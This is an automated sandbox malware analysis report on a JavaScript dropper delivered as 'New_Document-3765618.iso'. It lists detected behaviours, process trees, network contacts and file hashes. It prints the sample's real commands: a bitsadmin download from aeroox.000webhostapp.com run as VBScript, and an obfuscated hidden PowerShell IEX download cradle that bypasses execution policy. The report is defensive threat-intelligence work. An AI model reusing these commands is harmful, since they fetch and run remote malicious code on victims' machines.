Malware Analysis Report

2024-10-24 20:51

Sample ID 240828-wyf9dszbma
Target New_Document-3765618.iso
SHA256 ecdea80099e541809e0ecb95f993123974f8722ad4bb2b2bdc6b489ca02aaabd
Tags
dropper execution
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

ecdea80099e541809e0ecb95f993123974f8722ad4bb2b2bdc6b489ca02aaabd

Threat Level: Likely malicious

The file New_Document-3765618.iso was found to be: Likely malicious.

Malicious Activity Summary

dropper execution

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Download via BitsAdmin

Checks computer location settings

Enumerates physical storage devices

Command and Scripting Interpreter: JavaScript

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-28 18:19

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-28 18:19

Reported

2024-08-28 18:22

Platform

win7-20240708-en

Max time kernel

121s

Max time network

124s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\New_Document-#3765618.js

Signatures

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\System32\bitsadmin.exe N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1488 wrote to memory of 2304 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\bitsadmin.exe
PID 1488 wrote to memory of 2304 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\bitsadmin.exe
PID 1488 wrote to memory of 2304 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\bitsadmin.exe
PID 1488 wrote to memory of 2708 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\wscript.exe
PID 1488 wrote to memory of 2708 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\wscript.exe
PID 1488 wrote to memory of 2708 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\wscript.exe

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\New_Document-#3765618.js

C:\Windows\System32\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://aeroox.000webhostapp.com/mes/010111100110101101001111111101011011100101011110 C:\Users\Admin\AppData\Local\Temp\pmqfgkdqzsbsvsamfrryrizflqdvvwqqctmqvepuyuplixbkjbforifcqtpxeylsnfsloatiuqykwi

C:\Windows\System32\wscript.exe

"C:\Windows\System32\wscript.exe" //E:VBScript C:\Users\Admin\AppData\Local\Temp\pmqfgkdqzsbsvsamfrryrizflqdvvwqqctmqvepuyuplixbkjbforifcqtpxeylsnfsloatiuqykwi

Network

Country Destination Domain Proto
US 8.8.8.8:53 aeroox.000webhostapp.com udp
US 145.14.145.245:443 aeroox.000webhostapp.com tcp

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-28 18:19

Reported

2024-08-28 18:22

Platform

win10v2004-20240802-en

Max time kernel

139s

Max time network

124s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\New_Document-#3765618.js

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\System32\bitsadmin.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation C:\Windows\System32\wscript.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\New_Document-#3765618.js

C:\Windows\System32\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://aeroox.000webhostapp.com/mes/010111100110101101001111111101011011100101011110 C:\Users\Admin\AppData\Local\Temp\pmqfgkdqzsbsvsamfrryrizflqdvvwqqctmqvepuyuplixbkjbforifcqtpxeylsnfsloatiuqykwi

C:\Windows\System32\wscript.exe

"C:\Windows\System32\wscript.exe" //E:VBScript C:\Users\Admin\AppData\Local\Temp\pmqfgkdqzsbsvsamfrryrizflqdvvwqqctmqvepuyuplixbkjbforifcqtpxeylsnfsloatiuqykwi

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WIND HIDDeN -eXeC BYPASS -NONI Sleep 2;[BYTe[]];$g45e='IeX(NeW-OBJeCT NeT.W';$df54='eBCLIeNT).DOWNLO';$5s4d='zalooma(''https://aeroox.000webhostapp.com/mes/'')'.RePLACe('zalooma','ADSTRING');Sleep 1;IeX($g45e+$df54+$5s4d);

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 aeroox.000webhostapp.com udp
US 145.14.145.245:443 aeroox.000webhostapp.com tcp
US 8.8.8.8:53 245.145.14.145.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 145.14.145.245:443 aeroox.000webhostapp.com tcp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 192.142.123.92.in-addr.arpa udp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp

Files

memory/2840-0-0x0000027EF3D70000-0x0000027EF3D92000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1q1mas01.eup.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82